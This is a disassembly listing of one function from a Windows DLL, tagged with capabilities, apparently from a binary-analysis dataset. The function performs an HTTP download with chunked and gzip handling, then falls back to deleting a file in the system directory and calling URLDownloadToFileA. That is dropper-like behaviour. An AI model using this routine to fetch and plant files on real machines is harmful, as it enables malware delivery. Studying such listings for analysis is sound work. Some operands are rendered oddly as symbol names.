Function at 0x18000aed0
Capabilities:
Delete file
Download url
Get common file path
Receive data
Set socket configuration

Disassembly:
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
push rdi
mov eax, 0x1400
call fcn.180036c60
sub rsp, rax
mov rax, qword [0x180045408]
xor rax, rsp
mov qword [rsp + 0x13f0], rax
mov dword [rsp + 0xe80], 0xffffffff
mov byte [rsp + 0xdf0], 0
lea rdi, [rsp + 0xdf1]
xor eax, eax
mov ecx, select
rep stosb byte [rdi], al
mov byte [rsp + 0x590], 0
lea rdi, [rsp + 0x591]
xor eax, eax
mov ecx, 0x7f
rep stosb byte [rdi], al
mov byte [rsp + 0x50], 0
lea rdi, [rsp + 0x51]
xor eax, eax
mov ecx, gethostname
rep stosb byte [rdi], al
mov dword [rsp + 0x480], 0
mov byte [rsp + 0x490], 0
lea rdi, [rsp + 0x491]
xor eax, eax
mov ecx, 0xff
rep stosb byte [rdi], al
mov byte [rsp + 0xe00], 0
lea rdi, [rsp + 0xe01]
xor eax, eax
mov ecx, 0x7f
rep stosb byte [rdi], al
mov byte [rsp + 0x620], 0
lea rdi, [rsp + 0x621]
xor eax, eax
mov ecx, 0x7cf
rep stosb byte [rdi], al
mov byte [rsp + 0x90], 0
lea rdi, [rsp + 0x91]
xor eax, eax
mov ecx, 0x3e7
rep stosb byte [rdi], al
mov qword [rsp + 0x40], 0
mov qword [rsp + 0x88], 0xffffffffffffffff
mov rax, qword [rsp + 0x1418]
mov dword [rax + 4], 0
lea rax, [rsp + 0xe00]
mov qword [rsp + 0x30], rax
lea rax, [rsp + 0x490]
mov qword [rsp + 0x28], rax
lea rax, [rsp + 0x480]
mov qword [rsp + 0x20], rax
lea r9, [rsp + 0x50]
lea r8, [rsp + 0x590]
lea rdx, [rsp + 0xdf0]
mov rcx, qword [rsp + 0x1410]
call fcn.18000aad0
mov r8d, 0x1388
lea rdx, [rsp + 0x50]
movzx ecx, word [rsp + 0x480]
call fcn.1800073b0
mov qword [rsp + 0x88], rax
cmp qword [rsp + 0x88], 0xffffffffffffffff
jne 0x18000b06f
call qword [sym.imp.WS2_32.dll_WSAGetLastError]
mov edx, eax
lea rcx, str.Http_DownLoad_l
call fcn.180006b50
mov eax, 0xffffffff
jmp 0x18000b96a
mov dword [rsp + 0xe84], 0xea60
mov dword [rsp + 0x20], 4
lea r9, [rsp + 0xe84]
mov r8d, 0x1005
mov edx, 0xffff
mov rcx, qword [rsp + 0x88]
call qword [sym.imp.WS2_32.dll_setsockopt]
mov dword [rsp + 0x20], 4
lea r9, [rsp + 0xe84]
mov r8d, 0x1006
mov edx, 0xffff
mov rcx, qword [rsp + 0x88]
call qword [sym.imp.WS2_32.dll_setsockopt]
mov dword [rsp + 0xe84], 0x300000
mov dword [rsp + 0x20], 4
lea r9, [rsp + 0xe84]
mov r8d, 0x1002
mov edx, 0xffff
mov rcx, qword [rsp + 0x88]
call qword [sym.imp.WS2_32.dll_setsockopt]
mov dword [rsp + 0x614], 0
jmp 0x18000b11e
mov eax, dword [rsp + 0x614]
add eax, 1
mov dword [rsp + 0x614], eax
xor eax, eax
mov rcx, 0xffffffffffffffff
lea rdi, [rsp + 0x490]
repne scasb al, byte [rdi]
not rcx
sub rcx, 1
cmp dword [rsp + 0x614], ecx
jge 0x18000b1b7
movsxd rax, dword [rsp + 0x614]
movsx eax, byte [rsp + rax + 0x490]
cmp eax, 0x20
jne 0x18000b185
movsxd rax, dword [rsp + 0x614]
movsx r9d, byte [rsp + rax + 0x490]
lea r8, [rsp + 0x90]
lea rdx, [0x18003fd18]
lea rcx, [rsp + 0x90]
call fcn.180021d50
jmp 0x18000b1b2
movsxd rax, dword [rsp + 0x614]
movsx r9d, byte [rsp + rax + 0x490]
lea r8, [rsp + 0x90]
lea rdx, [0x18003fd24]
lea rcx, [rsp + 0x90]
call fcn.180021d50
jmp 0x18000b10d
lea r9, [rsp + 0x590]
lea r8, [rsp + 0x90]
lea rdx, str.GET__s_HTTP_1.1_r_nHost:__s_r_nAccept:_text_html_application_xhtmlxml_application_xml_q0.9_image_webp___q0.8_r_nAccept_Encoding:_gzip__deflate__sdch_r_nUser_Agent:_Mozilla_4.0_r_nConnection:_Close_r_n_r_n
lea rcx, [rsp + 0x620]
call fcn.180021d50
xor eax, eax
mov rcx, 0xffffffffffffffff
lea rdi, [rsp + 0x620]
repne scasb al, byte [rdi]
not rcx
sub rcx, 1
mov r9d, 0xbb8
mov r8d, ecx
lea rdx, [rsp + 0x620]
mov rcx, qword [rsp + 0x88]
call fcn.1800078a0
mov ecx, 0x800
call fcn.180001fd0
mov qword [rsp + 0x40], rax
xor eax, eax
cmp eax, 1
je 0x18000b31f
mov rax, qword [rsp + 0x40]
movsxd rdx, dword [rax + 4]
mov rax, qword [rsp + 0x40]
add rdx, qword [rax + 8]
mov r9d, 0xea60
mov r8d, 1
mov rcx, qword [rsp + 0x88]
call fcn.180007930
test eax, eax
jg 0x18000b26c
mov dword [rsp + 0xe80], 0xffffff9b
jmp 0x18000b31f
mov rax, qword [rsp + 0x40]
mov ecx, dword [rax + 4]
add ecx, 1
mov rax, qword [rsp + 0x40]
mov dword [rax + 4], ecx
mov rax, qword [rsp + 0x40]
mov ecx, dword [rax]
sub ecx, 3
mov rax, qword [rsp + 0x40]
cmp dword [rax + 4], ecx
jl 0x18000b2e0
mov rax, qword [rsp + 0x40]
mov ecx, dword [rax]
add ecx, 0x64
call fcn.180001fd0
mov qword [rsp + 0xe88], rax
mov rax, qword [rsp + 0x40]
mov r8d, dword [rax + 4]
mov rdx, qword [rsp + 0x40]
mov rdx, qword [rdx + 8]
mov rcx, qword [rsp + 0xe88]
call fcn.180002170
mov rcx, qword [rsp + 0x40]
call fcn.180001f70
mov rdx, qword [rsp + 0xe88]
mov qword [rsp + 0x40], rdx
mov rax, qword [rsp + 0x40]
cmp dword [rax + 4], 4
jle 0x18000b31a
mov rax, qword [rsp + 0x40]
movsxd rcx, dword [rax + 4]
mov rax, qword [rsp + 0x40]
mov rax, qword [rax + 8]
lea rcx, [rax + rcx - 4]
mov r8d, 4
lea rdx, str._r_n_r_n
call fcn.18002e4f0
test eax, eax
jne 0x18000b31a
jmp 0x18000b31f
jmp 0x18000b222
lea rdx, str.Content_Length
mov rcx, qword [rsp + 0x40]
mov rcx, qword [rcx + 8]
call fcn.180001000
mov qword [rsp + 0xe90], rax
cmp qword [rsp + 0xe90], 0
je 0x18000b465
mov ecx, 1
imul rcx, rcx, 0xe
mov rax, qword [rsp + 0xe90]
add rax, rcx
mov qword [rsp + 0xe90], rax
mov rax, qword [rsp + 0xe90]
movsx eax, byte [rax]
cmp eax, 0x3a
je 0x18000b387
mov rax, qword [rsp + 0xe90]
movsx eax, byte [rax]
cmp eax, 0x20
jne 0x18000b39b
mov rax, qword [rsp + 0xe90]
add rax, 1
mov qword [rsp + 0xe90], rax
mov rcx, qword [rsp + 0xe90]
call fcn.180021f40
mov dword [rsp + 0x610], eax
cmp dword [rsp + 0x610], 0
jle 0x18000b460
mov ecx, dword [rsp + 0x610]
add ecx, 0xa
call fcn.180001fd0
mov qword [rsp + 0xe98], rax
mov r9d, 0xea60
mov r8d, dword [rsp + 0x610]
mov rdx, qword [rsp + 0xe98]
mov rdx, qword [rdx + 8]
mov rcx, qword [rsp + 0x88]
call fcn.180007930
cmp dword [rsp + 0x610], eax
je 0x18000b411
mov dword [rsp + 0xe80], 0xfffffed3
jmp 0x18000b453
mov rcx, qword [rsp + 0xe98]
mov eax, dword [rsp + 0x610]
mov dword [rcx + 4], eax
mov rax, qword [rsp + 0xe98]
mov r8d, dword [rax + 4]
mov rdx, qword [rsp + 0xe98]
mov rdx, qword [rdx + 8]
mov rcx, qword [rsp + 0x1418]
call fcn.180002370
mov dword [rsp + 0xe80], 0
mov rcx, qword [rsp + 0xe98]
call fcn.180001f70
jmp 0x18000b75d
lea rdx, str.Transfer_Encoding
mov rcx, qword [rsp + 0x40]
mov rcx, qword [rcx + 8]
call fcn.180001000
mov qword [rsp + 0xe90], rax
cmp qword [rsp + 0xe90], 0
je 0x18000b6f6
mov ecx, 1
imul rcx, rcx, 0x11
mov rax, qword [rsp + 0xe90]
add rax, rcx
mov qword [rsp + 0xe90], rax
mov rax, qword [rsp + 0xe90]
movsx eax, byte [rax]
cmp eax, 0x3a
je 0x18000b4cd
mov rax, qword [rsp + 0xe90]
movsx eax, byte [rax]
cmp eax, 0x20
jne 0x18000b4e1
mov rax, qword [rsp + 0xe90]
add rax, 1
mov qword [rsp + 0xe90], rax
lea rdx, str.chunked
mov rcx, qword [rsp + 0xe90]
call fcn.180021ee4
test rax, rax
je 0x18000b6f4
mov dword [rsp + 0xeb0], 0
mov dword [rsp + 0xea0], 0
mov ecx, 0x2800
call fcn.180001fd0
mov qword [rsp + 0xea8], rax
xor eax, eax
cmp eax, 1
je 0x18000b6e7
mov dword [rsp + 0xeb0], 0
xor eax, eax
cmp eax, 1
je 0x18000b5ca
movsxd rax, dword [rsp + 0xeb0]
lea rdx, [rsp + rax + 0xeb8]
mov r9d, 0xea60
mov r8d, 1
mov rcx, qword [rsp + 0x88]
call fcn.180007930
cmp eax, 1
jge 0x18000b582
mov dword [rsp + 0xe80], 0xffffff37
jmp 0x18000b5ca
mov eax, dword [rsp + 0xeb0]
add eax, 1
mov dword [rsp + 0xeb0], eax
cmp dword [rsp + 0xeb0], 3
jle 0x18000b5c5
movsxd rax, dword [rsp + 0xeb0]
lea rcx, [rsp + rax + 0xeb6]
mov r8d, 2
lea rdx, [0x18003fcf4]
call fcn.18002e4f0
test eax, eax
jne 0x18000b5c5
jmp 0x18000b5ca
jmp 0x18000b53c
cmp dword [rsp + 0xe80], 0xffffff9c
jge 0x18000b5d9
jmp 0x18000b6e7
mov eax, dword [rsp + 0xeb0]
sub eax, 2
cdqe
mov byte [rsp + rax + 0xeb8], 0
lea rcx, [rsp + 0xeb8]
call fcn.180009f00
mov dword [rsp + 0xea0], eax
cmp dword [rsp + 0xea0], 0
jne 0x18000b61d
mov dword [rsp + 0xe80], 0
jmp 0x18000b6e7
cmp dword [rsp + 0xea0], 0
jge 0x18000b637
mov dword [rsp + 0xe80], 0xffffff31
jmp 0x18000b6e7
mov rcx, qword [rsp + 0xea8]
mov eax, dword [rsp + 0xea0]
cmp dword [rcx], eax
jge 0x18000b66e
mov rcx, qword [rsp + 0xea8]
call fcn.180001f70
mov ecx, dword [rsp + 0xea0]
add ecx, 0x64
call fcn.180001fd0
mov qword [rsp + 0xea8], rax
mov r9d, 0xea60
mov r8d, dword [rsp + 0xea0]
mov rdx, qword [rsp + 0xea8]
mov rdx, qword [rdx + 8]
mov rcx, qword [rsp + 0x88]
call fcn.180007930
cmp dword [rsp + 0xea0], eax
je 0x18000b6ab
mov dword [rsp + 0xe80], 0xffffff36
jmp 0x18000b6e7
mov rcx, qword [rsp + 0xea8]
mov eax, dword [rsp + 0xea0]
mov dword [rcx + 4], eax
mov rax, qword [rsp + 0xea8]
mov r8d, dword [rax + 4]
mov rdx, qword [rsp + 0xea8]
mov rdx, qword [rdx + 8]
mov rcx, qword [rsp + 0x1418]
call fcn.180002370
jmp 0x18000b526
mov rcx, qword [rsp + 0xea8]
call fcn.180001f70
jmp 0x18000b75d
xor eax, eax
cmp eax, 1
je 0x18000b75d
mov r9d, 0x1388
mov r8d, 0x400
lea rdx, [rsp + 0xed0]
mov rcx, qword [rsp + 0x88]
call fcn.180007840
mov dword [rsp + 0xec8], eax
cmp dword [rsp + 0xec8], 0
jg 0x18000b73e
mov dword [rsp + 0xe80], 0
jmp 0x18000b75d
mov r8d, dword [rsp + 0xec8]
lea rdx, [rsp + 0xed0]
mov rcx, qword [rsp + 0x1418]
call fcn.180002370
jmp 0x18000b6f6
mov rcx, qword [rsp + 0x40]
call fcn.180001f70
mov edx, 2
mov rcx, qword [rsp + 0x88]
call qword [sym.imp.WS2_32.dll_shutdown]
mov rcx, qword [rsp + 0x88]
call qword [sym.imp.WS2_32.dll_closesocket]
cmp dword [rsp + 0xe80], 0
jne 0x18000b81b
mov rax, qword [rsp + 0x1418]
cmp dword [rax + 4], 0
jle 0x18000b81b
mov rax, qword [rsp + 0x1418]
mov rax, qword [rax + 8]
movzx eax, byte [rax]
cmp eax, 0x1f
jne 0x18000b81b
mov rax, qword [rsp + 0x1418]
mov rax, qword [rax + 8]
movzx eax, byte [rax + 1]
cmp eax, 0x8b
jne 0x18000b81b
mov rcx, qword [rsp + 0x1418]
call fcn.180002090
mov qword [rsp + 0x12d0], rax
mov rdx, qword [rsp + 0x1418]
mov rcx, qword [rsp + 0x12d0]
call fcn.180005190
test rax, rax
jne 0x18000b81b
mov rcx, qword [rsp + 0x1418]
call fcn.180001f70
mov rdx, qword [rsp + 0x12d0]
mov qword [rsp + 0x1418], rdx
cmp dword [rsp + 0xe80], 0
jne 0x18000b837
mov rax, qword [rsp + 0x1418]
cmp dword [rax + 4], 0
jg 0x18000b963
mov edx, dword [rsp + 0xe80]
lea rcx, [0x18003fe30]
call fcn.180006b50
mov edx, 0xff
lea rcx, [rsp + 0x12e0]
call qword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
lea rcx, [rsp + 0x12e0]
call fcn.180002040
mov qword [rsp + 0x13e0], rax
lea r8, [0x18003fd14]
lea rdx, [0x18003fe40]
mov rcx, qword [rsp + 0x13e0]
call fcn.1800023a0
mov rax, qword [rsp + 0x13e0]
mov eax, dword [rax + 4]
sub eax, 1
movsxd rcx, eax
mov rax, qword [rsp + 0x13e0]
mov rax, qword [rax + 8]
movsx eax, byte [rax + rcx]
cmp eax, 0x2f
je 0x18000b8c7
lea rdx, [0x18003fe44]
mov rcx, qword [rsp + 0x13e0]
call fcn.180002330
lea rdx, [0x18003fe48]
mov rcx, qword [rsp + 0x13e0]
call fcn.180002330
mov rcx, qword [rsp + 0x13e0]
mov rcx, qword [rcx + 8]
call qword [sym.imp.KERNEL32.dll_DeleteFileA]
mov qword [rsp + 0x20], 0
xor r9d, r9d
mov r8, qword [rsp + 0x13e0]
mov r8, qword [r8 + 8]
mov rdx, qword [rsp + 0x1410]
xor ecx, ecx
call sub.urlmon.dll_URLDownloadToFileA
mov dword [rsp + 0x13e8], eax
cmp dword [rsp + 0x13e8], 0
jne 0x18000b94f
mov rdx, qword [rsp + 0x13e0]
mov rdx, qword [rdx + 8]
mov rcx, qword [rsp + 0x1418]
call fcn.180002b00
mov rcx, qword [rsp + 0x13e0]
call fcn.180001f70
xor eax, eax
jmp 0x18000b96a
mov rcx, qword [rsp + 0x13e0]
call fcn.180001f70
mov eax, 0xffffd877
jmp 0x18000b96a
mov eax, dword [rsp + 0xe80]
mov rcx, qword [rsp + 0x13f0]
xor rcx, rsp
call fcn.180021d30
add rsp, 0x1400
pop rdi
ret